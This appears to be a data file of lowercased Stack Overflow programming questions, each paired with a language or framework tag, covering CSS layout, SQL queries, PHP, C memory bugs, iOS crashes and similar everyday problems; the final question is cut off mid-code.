"css custom shape oval  i am trying to make the following custom shape using css:    <a href= https://i.stack.imgur.com/vod70  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vod70.png  /></a>    i tried to make it accurate  but still there are some points where i am not reaching perfection; here is my code:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.oval {
   border: 2px solid #fff;
   transform: skewy(-8deg);
   margin-top: 5%;
   width: 302px;
   height: 124px;
   background: #363636;
   -moz-border-radius: 100px / 50px;
   -webkit-border-radius: 100px / 50px;
   border-radius: 125px / 74px;
 }
 .blackfriday {
   padding-top: 11%;
   transform: skewy(8deg);
   text-transform: uppercase;
   font-family: roboto-bold;
   text-align: center;
   color: #dce90d;
   font-size: 35px;
   margin: 0;
 }
 .promotion {
   color: white;
   transform: skewy(8deg);
   text-transform: uppercase;
   font-family: roboto-regular;
   text-align: center;
   font-size: 25px;
   margin: 0;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= oval &gt;
   &lt;h4 class= blackfriday &gt;black friday&lt;/h4&gt;
   &lt;h5 class= promotion &gt;promotion&lt;/h5&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     <a href= https://jsfiddle.net/lqant9aj/  rel= nofollow noreferrer >js fiddle</a>.",css
need grouped by name  i have a table with columns id  name  program  amount1  amount2.   <pre><code>/* create a table called names */ create table names(id integer primary key  name text  program char  amount1 integer  amount2 integer);  /* create few records in this table */ insert into names values(1  abc   a  10   null); insert into names values(2  abc   b  null 20); insert into names values(3  def   a  30   null); insert into names values(4  def   b  null 40); insert into names values(5  pqr   a  50   null); insert into names values(6  pqr   b  null 60); insert into names values(7  xyz   a  70   null); insert into names values(8  xyz   b  null 80); commit;  /* display all the records from the table */ select name amount1 amount2 from names group by name; </code></pre>   please help to get output grouped by name and the amount1  amount2 in a single row as below. html table   <pre><code>name    amount1 amount2 abc     10      20 def     30      40 pqr     50      60 xyz     70      80 </code></pre>,sql
guidelines for using idictionary (.net)  i believe that idictionary classes works better with sortable objects. i believe also that the icomparer interface is necessary to sort objects from a class. i also read at <a href= http://msdn.microsoft.com/en-us/library/7h9bszxx.aspx  rel= nofollow noreferrer >msdn</a> that when you implement icomparable you ll need to override the equals method (and gethashcode by extension i presume).    i have three doubts:    1) any of the assumptions above are incorrect     2) when i implement icomparer i ll have to follow the same icomparable guidelines     3) when i override the equals method i ll have to override the == operator  or just the inverse is true,.net
sql .. dynamically retrieve monthly records  sql question...   i would like a sql query to capture monthly records dynamically     sample data:   <pre><code>pyear   pdate           pmonth 2017    2/22/2017   february 2017    1/24/2017   january 2017    1/24/2017   january 2017    1/24/2017   january 2017    1/24/2017   january 2017    1/24/2017   january 2017    1/17/2017   january 2017    1/11/2017   january 2017    1/24/2017   january 2017    3/21/2017   march 2017    3/21/2017   march </code></pre>   i would like the output to capture monthly records..ex records only for march,sql
clarification on free and payed c standard specification  i found (in <a href= http://c-faq.com/ansi/avail.html  rel= nofollow >http://c-faq.com/ansi/avail.html</a>) that   an electronic (pdf) copy is available on-line  for us$18  from www.ansi.org .    but at the same time  i can download it for free from <a href= http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1256.pdf  rel= nofollow >http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1256.pdf</a>    both are c standards  right   what is the difference between two,c
drag and drop events  i have placed an image on canvas  now  i want to be able to drag and drop it anywhere on the canvas. how do i go about it .     <pre class= lang-js prettyprint-override ><code>var imageobj = new image();      imageobj.src =  bulb.jpg ;   imageobj.onload = function() {       canvascontext.drawimage(imageobj  200 80);               }; </code></pre>,javascript
how to run angularjs documentation locally  i have compiled the newest angular.js and find out that links in the doc all point to absolute  url angularjs.org/.... i want to be able to read the doc locally.,angularjs
not able to access label text  please take a look at my code. i m not able to access the value of the <code>label</code> text in the <code>button1_click</code>  event but am able to access <code>textbox</code> text that is set in the <code>use</code> function:   <pre><code>public partial class productdetail : system.web.ui.page {     protected void page_load(object sender  eventargs e)     {     }      protected void button1_click(object sender  eventargs e)     {                 int i = int.parse(textbox1.text);         int pr = int.parse(label4.text);          string s2 = system.web.httpcontext.current.user.identity.name;         string s1 = request.querystring[ pname ];          label1.text = s1;         label5.text += label4.text;     }      protected void use(object sender  datalistitemeventargs e)     {         label prd = (label)e.item.findcontrol( productnamelabel );         label1.text += prd.text;          label brd = (label)e.item.findcontrol( brandlabel );         label2.text += brd.text;          image img = (image)e.item.findcontrol( image1 );         label3.text += img.imageurl.tostring();          label prc = (label)e.item.findcontrol( pricelabel );         label4.text = prc.text;     } } </code></pre>,asp.net
optimize the query  i have following query for find out the total no of counts.   <hr>  <pre><code>  select count(*)   from contacts_lists    join plain_contacts     on contacts_lists.contact_id = plain_contacts.contact_id   join contacts     on contacts.id = plain_contacts.contact_id   where plain_contacts.has_email     and not contacts.email_bad     and not contacts.email_unsub     and contacts_lists.list_id = 45897 </code></pre>  <hr>   it takes 150ms  to complete its task. is there any another way to run the above query  is there any way  to reduce the time  is it possible   please tell me.....................................,ruby-on-rails
defined function in python not recognising if and arguments  always scared to post here  but i m stumped and also not sure what i m doing wrong here  because i don t receive any errors. it appears the arguments in this function just don t work. i guess it s because it appears the conditions aren t met    <pre><code>question = [f {name}  what is 1+1   f {name}  what is 2+2   f {name}  what is 2+1 ] answer = [ 2   4   3 ]  def generatequestion():     question_show = print(random.choice(question))     answer = input()     if question_show == question[0] and answer == answer[0]:         score = score + 1         print(f correct  your score is now {score} )     if question_show == question[1] and answer == answer[1]:         score = score + 1         print(f correct  your score is now {score} )         if question_show == question[2] and answer == answer[2]:         score = score + 1         print(f correct  your score is now {score} ) </code></pre>   if i call that generatequestion() function is shows the question and allows for input but nothing happens after that.,python
c++ accepting function argument without variable name  i recently found a strange thing in c++.    here s the program   <pre><code>#include&lt;iostream&gt;  void fun(int *) {     std::cout &lt;&lt;  strange!!!\n ; }  int main() {     int x = 33;     fun(&amp;x);     return 0; } </code></pre>   i know my <code>fun</code> is kind of funky  i m passing a pointer and not using that thing at all. but that s not the point.    the point is why this thing is even compiling   i don t have a variable for that pointer in there  and it didn t warn me also. even it compiles then how the heck i m going to use that pointer inside <code>fun</code> anyway   is it normal,c++
what kind of resource is __tfe12coregraphicsvsc6cgrectcfms0_ft1xsi1ysi5widthsi6heightsi_s0_   my iphone crashlog (and not my simulator) shows me that i have the following issue:    <pre><code>dyld error message:     symbol not found: __tfe12coregraphicsvsc6cgrectcfms0_ft1xsi1ysi5widthsi6heightsi_s0_     referenced from: /private/var/mobile/containers/bundle/application/8f97818e-f019-42e8-883c-6fb1994c24b7/ekalipi.app/plugins/ekalipikeyboard.appex/ekalipikeyboard     expected in: /private/var/mobile/containers/bundle/application/8f97818e-f019-42e8-883c-6fb1994c24b7/ekalipi.app/plugins/ekalipikeyboard.appex/../../frameworks/libswiftcoregraphics.dylib     dyld version: 353.5 </code></pre>   is this a unicode symbol that can t be loaded     last meaningful stack entry is this:   <pre><code>6   ekalipikeyboard                 0x0010ad88 0xf5000 + 89480 7   uikit                           0x2acbe4f0 -[_uiviewserviceviewcontrolleroperator __createviewcontroller:withcontexttoken:fbsdisplays:appearanceserializedrepresentations:legacyappearance:hostaccessibilityserverport:canshowtextservices:replyhandler:] + 1152 </code></pre>   what is the pattern for understanding the above resource string     many thanks in advance! klaus,ios
c# webbrowser javascript  i am trying to display a website through my c# application using the fellow code:   <pre><code>webbrowser1.scripterrorssuppressed = true; webbrowser1.navigate( http://www.barbiecoupons.gr ); </code></pre>   the but the website s javascript is not working.    what do i need it to do,c#
how to reverse hebrew string in python   i m trying to reverse hebrew string in python:   <pre><code>line =  אבגד  reversed = line[::-1] print reversed </code></pre>   but i get:    <pre><code>unicodedecodeerror:  ascii  codec can t decode byte 0x93 in position 0: ordinal not in range(128) </code></pre>   care to explain what i m doing wrong      edit: the answers are great  thanks!  i m also trying to save the string into a file using:   <pre><code>w1 = open( ~/filename    w ) w1.write(reverseline) </code></pre>   but now i get:   <pre><code>return codecs.charmap_encode(input errors encoding_table) unicodeencodeerror:  charmap  codec can t encode characters in position 1-3: character    maps to &lt;undefined&gt; </code></pre>   any ideas how to fix that  too     edit: found the solution  see my answer below. in short i used    <pre><code>codecs.open( ~/filename    w   encoding= utf-8 )  </code></pre>   instead of    <pre><code>open( ~/filename    w ) </code></pre>,python
my set function doesn t actually set a variable  so i m busy on this new site  and since it includes a login system  and my designer doesn t know any php at all  i decided to make a quick system for him to use.    when he needs to echo user data  he takes the attribute and puts it between percentage signs (for example <code>%username%</code>. then my class filters the document for those tags  and replaces them with the value i give them. so it works like this in the php class:   <pre><code>public static function setuser($key  $value) {     self::$user[ %  . $key .  % ] = $value; }  </code></pre>   as you can see  i call this function with a key and a value  and it gets saved in an array  then  i call the <code>parseparams</code> function  which searches the page for these tags. the function:   <pre><code>private static function parseparams($content) {     $userkeys = array_keys(self::$user);     $uservalues = array_values(self::$user);     self::$output = str_replace($userkeys  $uservalues  $content);     return self::$output; } </code></pre>   the output is a page  since i call the <code>render</code> function. it does a <code>ob_get_contents</code> on the page i call  which then becomes the $content variable that gets parsed. when i echo the <code>$output</code> variable  i get the whole page.    seems pretty simple. now  my problem is that there aren t any variables set. an example of when i call the function  is when a user logs in. here s the login function:   <pre><code>public function login()     {         $username = $_post[ username ];         $password = $_post[ password ];         $query = db::$conn-&gt;prepare( select username  password  rank from users where username =   );         $query-&gt;bind_param( s   $username);         $query-&gt;execute();         $query-&gt;bind_result($name  $pass  $rank);         $query-&gt;store_result();         if ($query-&gt;num_rows() &gt; 0)         {             while ($query-&gt;fetch())             {                 if (password_verify($password  $pass))                 {                     tpl::setuser( username   $username);                     session_start();                     define( loggedin   true);                     header( location: me );                     exit();                 }                     else                 {                     $this-&gt;loginmessage[] =  {{wrongpass}} ;                 }             }         }             else         {             $this-&gt;loginmessage[] =  {{nouser}} ;         }     } </code></pre>   i did define the <code>tpl</code> class at the top of the file  under the namespace for the class:    <code>use crf\template as tpl;</code>    so  i was thinking this was a good solution  and it would work  but as soon as i do <code>var_dump(tpl::$user);</code> i get an empty array.    where does my mistake lay     thanks.,php
how to render different show templates conditionally  i have got a <code>post</code> model  and a post can be either a video post (with youtube link) or an article post (with body text). there is an enum <code>post_type</code> that determines the type of post.    in my <code>show.html.erb</code> view i would like to display a different template file depending on the type of post displayed.    the entire <code>html.erb</code> file content is different for articles and videos.    in my controller i want to be able to check the post type and render a differnt file accordingly.   <pre><code>if @post.video      //render video show view `video_show.html.erb` else     // render article show view `article_show.html.erb` end </code></pre>   i ve already tried <code>render template:  posts/video </code> to render a new <code>posts/video.html.erb</code> file i created but that did not work at all.    what is the best way to do this  i want to follow convention and not use crude partials and a simple if-else to switch between partials.,ruby-on-rails
using  if (isset($_get  to retrieve composite key instead of primary key  if i was to get a primary key then i would do this:   <pre><code>if (isset($_get[ item_id ])) </code></pre>   but if the table had a composite key (2 attributes that act as a primary key)  how would i do this  my 2 attributes acting as a composite key are item_id and size_id,php
how to make orderby filter work on array of strings   here is the code which is not working: demo: <a href= http://jsfiddle.net/8dt94/63/  rel= noreferrer >http://jsfiddle.net/8dt94/63/</a>   <pre><code>&lt;div ng-controller= myctrl &gt;         &lt;input type= text  ng-model= searchtext  /&gt;   &lt;ul ng-repeat= strval in arrval|orderby|filter:searchtext  &gt;       &lt;li&gt;{{strval}}&lt;/li&gt;   &lt;/ul&gt; &lt;/div&gt;  var app=angular.module( myapp   []); app.controller( myctrl   function ($scope $filter) {   $scope.arrval = [ one   two   three   four   five   six ];   }); </code></pre>,angularjs
valgrind blocks are lost  i m trying to write the data structure stack in c. each element of my stack is a string. below are the three files that i used. the first one is a main the other ones are the header stack.h and the file stack.c. i declared stackelement as a pointer to the element. stackt is a struct that define a stack. my problem appears when i trying to free allocate memory  because when i run valgrind i get    <pre><code>==31235== error summary: 2 errors from 2 contexts (suppressed: 0 from 0) ==31235==  ==31235== 1 errors in context 1 of 2: ==31235== invalid free() / delete / delete[] / realloc() ==31235==    at 0x4c2bdec: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==31235==    by 0x400893: stackdestroy (in /test) ==31235==    by 0x400b61: main (in /test) ==31235==  address 0x51fc150 is 0 bytes inside a block of size 4 free d ==31235==    at 0x4c2bdec: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==31235==    by 0x400b55: main (in /test)  24 bytes in 1 blocks are definitely lost in loss record 1 of 1 </code></pre>   could you help me please    <pre><code>int main(){ stackt s; int r = 3  i; stackinit(&amp;s  2  r); printf( test\n ); stackelementt s0; s0 = malloc((r + 1) * sizeof(unsigned char)); memset(s0  1  r + 1); s0[r] = 0; for (i = 0; i &lt; r; i++) {     s0[i] = random() &amp; 0xff; } stackpush(&amp;s  s0); free(s0); stackdestroy(&amp;s); return 0; } </code></pre>   stack.h   <pre><code>typedef unsigned char * stackelementt; typedef struct {   stackelementt *contents;   int maxsize;   int top; } stackt; </code></pre>   stack.c   <pre><code>void stackinit(stackt *stackp  int maxsize  int r) { stackelementt *newcontents; int i; r = 3; newcontents = malloc(sizeof(stackelementt) * maxsize);  if (newcontents == null) {         fprintf(stderr   insufficient memory to initialize stack.\n );         exit(1);  }  for (i = 0; i &lt; maxsize; i++) {     if ((newcontents[i] = malloc(r * sizeof(stackelementt))) == null) {         fprintf(stderr   insufficient memory to initialize stack.\n );         exit(1);      } }  stackp-&gt;contents = newcontents; stackp-&gt;maxsize = maxsize; stackp-&gt;top = -1; /* i.e.  empty */ }  void stackdestroy(stackt *stackp) { int i; for (i = 0; i &lt; stackp-&gt;maxsize; i++)     free(stackp-&gt;contents[i]); free(stackp-&gt;contents); stackp-&gt;contents = null; stackp-&gt;maxsize = 0; stackp-&gt;top = -1;  } void stackpush(stackt *stackp  stackelementt element) { if (stackisfull(stackp)) {     fprintf(stderr   can t push element on stack: stack is full.\n );     exit(1);  } stackp-&gt;contents[++stackp-&gt;top] = element; } </code></pre>   edit:    using the answers below i comment the line free(s0)  but i get the next error now:   <pre><code>==31855== 24 bytes in 1 blocks are definitely lost in loss record 1 of 1 ==31855==    at 0x4c2ab80: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==31855==    by 0x4007f9: stackinit (in /test) ==31855==    by 0x400aa9: main (in /test) </code></pre>,c
change font weight of a visited link  after a user visits a link  i want the font-weight of the text to go to normal (400).   <pre><code>.title-link {   font-family:  open sans   sans-serif;   color: #264464;   font-size: 16px;   text-decoration: none;   font-weight: bold; }  .title-link:visited {   font-weight: 400; } </code></pre>   i read that you can t do this from around 2010+ (<a href= https://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/  rel= nofollow >https://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/</a>)  is there any way i can do it still,css
is there a way to store all arithmetic operators in just one variable to be used inside an output   instead of the variables <strong>sum  diff prod</strong> inside the  <strong>system.out.println(    + **here</strong>)**  is there a way i can store it in just one variable     so if i call it inside a statement (and if i use a variable  answer )it would look something like this and will still give me the same output:   <blockquote> <pre><code>system.out.println( sum =   + answer); system.out.println( difference =   + answer); system.out.println( product =   + answer); </code></pre> </blockquote>   i m really stuck at this part of the program  any kind of help or tips will do  thanks,java
what tables i need to create in order to keep a simple structure   i m not that good in sql  please advice guys  what tables i need to have and how to make selections. i have an <code>recordid</code> which may have several <code>headers</code> which may have several <code>fields</code>. all of those are just <code>string</code>s. by selecting a <code>recordid</code> i need to fetch associated <code>headers</code> and their <code>fields</code>.,sql
decrypting a short javascript code  ive searched by i cant find a good way to decrypt javascript codes  here is a sample:   <pre><code>var _6505=/[\x41\x42\x43\x44\x45\x46]/ </code></pre>   ive visited some websites to decrypt but it asks me for the key and i dont have any keys     thanks.,javascript
why can t map  undefined  array  as title say  why can t i map a array which contain <code>undefined</code> item    <pre><code>var foo = new array(3); // [     ] var bar = [null  null  null]; // [null  null  null]  foo.map(function(val){return  test }); // [     ] bar.map(function(val){return  test }); // [ test    test    test ] </code></pre>   maybe the foolish question  but i really want to know the reason.    thanks.,javascript
unhandled exception in c#  destination array is not long enough to copy all the items in the collection  i am <code>c#</code> beginner and trying to read a binary file to calculate the <code>frequency</code> of the <code>symbols</code> inside the <code>binary file</code>. (frequency is the number of time the symbols repeats).    in my first step i took i kept the <code>data type</code> of <code> symbol </code> read as <code> int </code> and <strong>code worked fine.</strong> but now i wanted to make this symbol of <strong><code>generic type</code></strong> (i mean <code>&lt;t&gt;</code> type).     the code compiles with out any error in ubantu terminal.    but when i execute using <code> mono filename.exe binaryfile.bin </code> this binary file is read at <code>sole argument</code>. please see at last that how i got this binary file <strong>toto.bin.</strong>    the error is :    <pre><code>hp@ubuntu:~/desktop/internship_xav/templatescplus$ mono test.exe toto.bin   unhandled exception: system.argumentexception: destination array is not long enough to copy all the items in the collection. check array index and length.   at system.bitconverter.putbytes (system.byte* dst  system.byte[] src  int32 start_index  int32 count) [0x00000] in &lt;filename unknown&gt;:0    at system.bitconverter.toint64 (system.byte[] value  int32 startindex) [0x00000] in &lt;filename unknown&gt;:0    at shekhar_final_version_csharp.huffman`1[system.int64]..ctor (system.string[] args  system.func`3 converter) [0x00000] in &lt;filename unknown&gt;:0    at shekhar_final_version_csharp.myclass.main (system.string[] args) [0x00000] in &lt;filename unknown&gt;:0  [error] fatal unhandled exception: system.argumentexception: destination array is not long enough to copy all the items in the collection. check array index and length.   at system.bitconverter.putbytes (system.byte* dst  system.byte[] src  int32 start_index  int32 count) [0x00000] in &lt;filename unknown&gt;:0    at system.bitconverter.toint64 (system.byte[] value  int32 startindex) [0x00000] in &lt;filename unknown&gt;:0    at shekhar_final_version_csharp.huffman`1[system.int64]..ctor (system.string[] args  system.func`3 converter) [0x00000] in &lt;filename unknown&gt;:0    at shekhar_final_version_csharp.myclass.main (system.string[] args) [0x00000] in &lt;filename unknown&gt;:0  hp@ubuntu:~/desktop/ </code></pre>   my full code to do so is (narrowed code):   <pre><code>using system; using system.io; using system.collections.generic; using system.linq; using system.text; using system.runtime.interopservices;  namespace final  {     public class a &lt; t &gt; where t: struct  icomparable &lt; t &gt;   iequatable &lt; t &gt;      {         public class node          {             public t symbol;             public node next;             public int freq;         } public node front;          public a(string[] args  func &lt; byte[]  int  t &gt; converter)          {                 int size = marshal.sizeof(typeof (t));             front = null;             using(var stream = new binaryreader(system.io.file.openread(args[0])))              {                    while (stream.basestream.position &lt; stream.basestream.length)                  {                        byte[] bytes = stream.readbytes(size);                        t processingvalue = converter(bytes  0);                        node pt  temp;                     pt = front;                      while (pt != null)                      {   console.writeline( check1 );                         if (pt.symbol.equals(processingvalue))                          {                             pt.freq++;                             break;                         }                         console.writeline( symbol : {0}  frequency is : {1}   pt.symbol  pt.freq);                         temp = pt;                         pt = pt.next;                     }                 }             }         }     }    //////////////////////////////////////////////////     public class myclass      {         public static void main(string[] args)          {             a &lt; long &gt; objsym = new a &lt; long &gt; (args  bitconverter.toint64);         }     } } </code></pre>   i think the problem is created while creating object of type huffman in    <code>public class myclass</code>. could some one please help me how to get a rid of this problem by giving a solution (any piece of code would be highly appreciated)  thanks.,c#
i can t download excel sheet from ie11  when i attempt to present the user with an  open/save  dislaog box to open or save an excel file  i get errors in the following order  after ie displays  do you want to open or save blahblah.xls      when i click open or save i get  blahblah.xls couldn;t be downloaded  with a retry and cancel buttons. i click on retry  it opens excel and displays  the file you are trying to open   blahblah.xls   is in different format than specified by the file extension. verify that the file is not corrupted and .... do you want to open the file now      if i select  yes   i get a some error about missing files   all of them .css files  and then it tries to display the aspx page i was on in excel (in an all mangled up version due to missing css files).    i have searched everywhere and can t find a solution:    unchecked  do not serve encrypted pages to disk  in ie internet options/advanced   <pre><code>enter code here  response.clearcontent();         response.clear();         response.buffer = true;         response.cache.   setcacheability(httpcacheability.public);          response.contenttype =  application/octet-stream ;         response.addheader( content-disposition    attachment; filename=  + file +  -  + datetime.now.toshortdatestring() +  .xls; );        // response.charset =  utf-8 ;          response.transmitfile(filepath);         response.flush();         httpcontext.current.applicationinstance.completerequest();         response.end();`enter code here` </code></pre>,asp.net
nsdateformatter setdateformat parameters  in php there is a list of all the parameters you can pass to the date function to format your date <a href= http://php.net/manual/en/function.date.php >http://php.net/manual/en/function.date.php</a>    is there something similar for objective c,objective-c
how the asp.net web applications designed in ie6 work on ie8   i upgraded my current ie6 version to ie8 recently  but one of my asp.net web application has some problem with the allignment of some lebels  textboxes etc in the web pages. the application is working fine  but only with the design issue(some textboxes and labels are not in a proper order as before in ie6). i have selected the compatability view in ie8  but still the issue is there. i have changed the  absolute  positioning of the fields in the web pages to  relative   but no use. could somebody help me which would be much appreciated.,asp.net
file not save on database  i m working on a little project and now i face with save problem. when i type something on text editor and when i click on save button (for save in database)  it reply nothing.    here s the process code :   <pre><code>case  publish :     $filename=$_files[ image ][ name ];          if($filename)         {             $filepath= images/news_img/ .$filename;             if(file_exists($filepath))             {                 $a=gmdate( yzhis );                 move_uploaded_file($_files[ image ][ tmp_name ]   images/news_img/ .$a.$_files[ image ][ name ]);                 $filename=$a.$_files[ image ][ name ];              }             else             {                 move_uploaded_file($_files[ image ][ tmp_name ]   images/news_img/ .$_files[ image ][ name ]);              }         }         if($arttitle==   || $date==   || $category==   || $status==   )         {             $_session[ error_msg ]= you must fill all the required fileds ;             $go= add_articles.php ;         }         else         {         /*for username check*/             $checksql=mysql_query( select * from articles where arttitle= $arttitle  );             $checkdata=mysql_fetch_array($checksql);              if($checkdata[ arttitle ]!=$arttitle)             {                 $inssql=mysql_query( insert into articles values(null  $arttitle   $date   $category   $status   $filename   $articale  0) );             }             else             {                 $_session[ username_msg ]= articale name already exists. ;             }         }         $go= add_articles.php ;      break;      case edit :     $updatesql=mysql_query( update articles set  arttitle= $arttitle  date= $date  category= $category  status= $status  articale= $articale  where aid =  $hiddenid  );     $_session[ success_msg ]= update successful! ;         $go= add_articles.php ;     break; </code></pre>,php
xcode 4.2 and dealloc obsolete  i started to use xcode 4.2 and it seems you can t use anymore dealloc and release like you were doing before. if i write the following implementation:   <pre><code>@implementation person  @synthesize firstname; @synthesize lastname;  - (void) dealloc {     [firstname release];     [lastname release];     [super dealloc]; } </code></pre>   the compiler bothers me saying that release is unavailable in automatic reference counting mode. is it a feature of objective-c 2.0  where i can read more about it,objective-c
are primitive data types mutable or immutable in java   are primitive data types mutable or immutable in java    <pre><code>student{   int id; } </code></pre>   now student has id as instance member.    <pre><code>student st = new student(); int id = 20; st.id = id; id = 30; </code></pre>   does student object get changes  what happens if we use <code>integer</code> wrapper class instead of primitives,java
align image in div with centered width  set height  i searched and searched  but it doesnt pop up. i have a sidebar fixed to stick to the left of the view port and fill the page top to bottom. so a sidebar. and i have a logo i want to put in the middle of the width  but i dont want it anchored to the top of the sidebar. when i tried to use position:fixed and top:100px  it moved way down the sidebar and anchored to the left of the screen. heres what i have:   <pre><code>#logo {   border: none;   display: block;   margin: 0 auto; } </code></pre>   theres not much code for me to give  its simple. i have this  <a href= http://imgur.com/6kvubyb  rel= nofollow >screen</a> and all i want is that logo to be further down. not vertically centered  just moved down  as if top: 200px; is applied,css
can i include two jsp pages in one controller   can i call two jsp pages like abc.jsp and xyz.jsp in one controller like controller.java .    i have to 5 jsp pages to implement and i dont want to write as many controller as jsp pages so is there any solution that i can implement in the one controller class and call the particular jsp page when it need to be called,java
tab bar items need to change image and title  i need to change my tab bar items. image and title.    initially app have four tab bar items.... 1. home 2.search 3.favorites 4. more.    home tab bar have tableview with navigation. when i do navigation i need to change more tab bar to bookmark tab bar......    bookmarks tab bar its replace the more tab bar.      when i complete it again show more tab bar.....    thanks in advance.    ... sorry for my english.,iphone
how to automatically select jquery  this request may come a little silly for you.     select 1   <pre><code>&lt;select id= select1   name= s1 &gt;     &lt;option id= 1  value= facebook and twitter &gt;value 1&lt;/option&gt;     &lt;option id= 2  value= google and yandex &gt;value 2&lt;/option&gt;     .     .     . &lt;/select&gt; </code></pre>   select 2   <pre><code>&lt;select id= select2  name= s1 &gt;     &lt;option id= 1  value= okay &gt;value 1&lt;/option&gt;     &lt;option id= 2  value= no &gt;value 2&lt;/option&gt;     .     .     .  &lt;/select&gt; </code></pre>   how to select okay when facebook and twitter are selected,jquery
auto key presser doesn t work  i m a beginner in c++.    i want to write a program that auto press a key. in this case  i mean send a key pressed event to the foreground window just like we press then release one key on the keyboard  not just send text of this key to the window.    so i write some code like this:   <pre><code>#include &lt;iostream&gt; #include &lt;windows.h&gt; using namespace std;  int main(int argc  const char* argv[]) {     do     {         hwnd hwnd = getforegroundwindow();         sendmessage(hwnd  wm_keydown  0x31  0);//key 1         sendmessage(hwnd  wm_keyup  0x31  0);         sleep(1000);     } while (true);     return 0; } </code></pre>   but this code doesn t seem to work. could you tell me what s wrong with my code.    thanks a lot and excuse me for my bad english.,c++
creating a class with no init method (objective-c)  is it possible to create a class with no init method so as to force all callers to create the object with a factory method instead,objective-c
how can i center without <center></center>   i ve got this code at the moment:   <pre><code>&lt;tr&gt;     &lt;td&gt;1&lt;/td&gt;     &lt;td&gt;&lt;center&gt; ene jk &lt;br&gt; 5.6 &lt;/center&gt;&lt;/td&gt;     &lt;td&gt;&lt;center&gt; mte hp &lt;br&gt;  6.4 &lt;/center&gt;&lt;/td&gt;     &lt;td&gt;&lt;center&gt; hpe eb &lt;br&gt; hml &lt;/center&gt;&lt;/td&gt;     &lt;td&gt;&lt;center&gt; ree pm &lt;br&gt; 514 &lt;/center&gt;&lt;/td&gt;     &lt;td&gt;&lt;center&gt; hpe eb &lt;br&gt; hp2&lt;/center&gt;&lt;/td&gt; </code></pre>   however  i don t want to have to keep using <code>&lt;center&gt;&lt;/center&gt;</code>...    any help,html
how to count of model of car  <strong>person table</strong>   <pre><code>id firstname  lastname personalwealth 1  hello      alest    $10 000.00 2  leeds      united   $20 000.00 3  middle     brough   $30 000.00 4  arsenal    chelsey  $40 000.00 5  manchester united   $50 000.00 6  peter      mean     $60 000.00 7  hello      coward   $60 000.00 </code></pre>   <strong>car table</strong>   <pre><code>id  carrego  model   make   manufacture  year personid 1   abc123   van            toyota       2001 1 2   abc234   ute            honda        2005 1 3   pio345   hatchback      mitsubishi   1990 2 4   elf234   hatchback      ford         1996 3 5   flo124   hatchback      toyota       1992 4 6   asc234   hatchback      holden       1965 6 7   xyz      hatchback      holden       1998 5 8   avc      van            jhjhjkhk     1989 1  </code></pre>   <strong>here is the sql code that i have</strong>    <pre><code>select   count(car.id) as countofid1     car.model from person inner join car on person.id=car.id group by car.model;  </code></pre>   but it works with van saying 2 of them but in real there is only one owner how do i fix this     help would be much appreciated,sql
imageview alignment in custom notifcation layout  i m trying to implement custom notification layout as described in examples.    <pre><code> &lt;relativelayout    xmlns:android= http://schemas.android.com/apk/res/android     android:layout_width= fill_parent     android:layout_height= fill_parent     android:gravity= center_vertical     &gt;    &lt;imageview      android:id= @+id/image       android:layout_width= 64dp       android:layout_height= 64dp       android:layout_alignparentleft= true       android:scaletype= centerinside       /&gt;    &lt;textview      android:id= @+id/title       android:layout_width= wrap_content       android:layout_height= fill_parent       android:layout_torightof= @id/image       style= @style/notification_title       android:gravity= center_vertical       /&gt;    &lt;textview      android:id= @+id/text       android:layout_width= fill_parent       android:layout_height= fill_parent       android:layout_torightof= @id/title       android:gravity= right|center_vertical       android:paddingright= 10dp       style= @style/notification_text       /&gt;  &lt;/relativelayout&gt; </code></pre>   my layout also starts with imageview on the very left position and need to be aligned as in default notifications. is there a default style that could be applied to the imageview or attribute value from which i could take default size,android
mysql - get total count of specific ids  i have a mysql table like this:   <pre><code>    mytable     |-------------| | id | color  | |----|--------| | 01 | white  | | 01 | black  | | 01 | yellow | | 02 | red    | | 02 | blue   | | 02 | yellow | | 03 | black  | | 03 | blue   | | 03 | yellow | |-------------| </code></pre>   when i want to get all colors from an id  i execute this query:   <pre><code>select `color` from `mytable` where `id` = 2    result   |--------| | color  | |--------| | red    | | blue   | | yellow | |--------| </code></pre>   how can i also get how many times each color exist in table <br /> what query i have to execute to get the following results    <pre><code>how can i get this  |----------------| | color  | count | |--------|-------| | red    |   1   | | blue   |   2   | | yellow |   3   | |----------------| </code></pre>   thanks in advance.,mysql
childviewcontroller not able to modify its ui after creation  i have a view controller which is being added as a child view controller. the problem is that after the child controller creates its view  i am not able to modify it.  it loads everything properly  but when i want to hide a text field on clicking a button (<code>textfield.hidden = yes</code>)  nothing happens!    this is my loadview :   <pre><code>-(void)loadview {       self.waitingpopup = [[waitingpopupviewcontroller alloc]initwithlabel:@ loading salon ];     self.view=[[uiview alloc] initwithframe:[uiscreen mainscreen].applicationframe];  //    self.view.frame=cgrectmake(0  -20  self.view.frame.size.width  self.view.frame.size.height);     scrollabletable=[[uitableview alloc] initwithframe:cgrectmake(0  0  self.view.frame.size.width  self.view.frame.size.height)];     scrollabletable.delegate=self;     scrollabletable.datasource=self;      [self.view addsubview:scrollabletable];      headerholder=[[uiview alloc] initwithframe:cgrectmake(0  0  self.view.frame.size.width  self.view.frame.size.height-44)];     //creating and adding backgroundimage view container and setting the image    // saloonhomeimage.backgroundcolor = [uicolor graycolor];     saloonhomeimage.frame=cgrectmake(self.view.frame.origin.x  0  self.view.frame.size.width  self.view.frame.size.height);     saloonhomeimage.contentmode = uiviewcontentmodescaleaspectfill;     //[saloonhomeimage setbackgroundcolor:[uicolor redcolor]];     [headerholder setbackgroundcolor:[uicolor graycolor]];     [headerholder addsubview:saloonhomeimage];      //creating and adding saloonheader label     saloonlabel=[[uilabel alloc] initwithframe:cgrectmake(0  32  self.view.frame.size.width  48)];     saloonlabel.text=@  ;     saloonlabel.textalignment=nstextalignmentcenter;     [saloonlabel settextcolor:[uicolor whitecolor]];     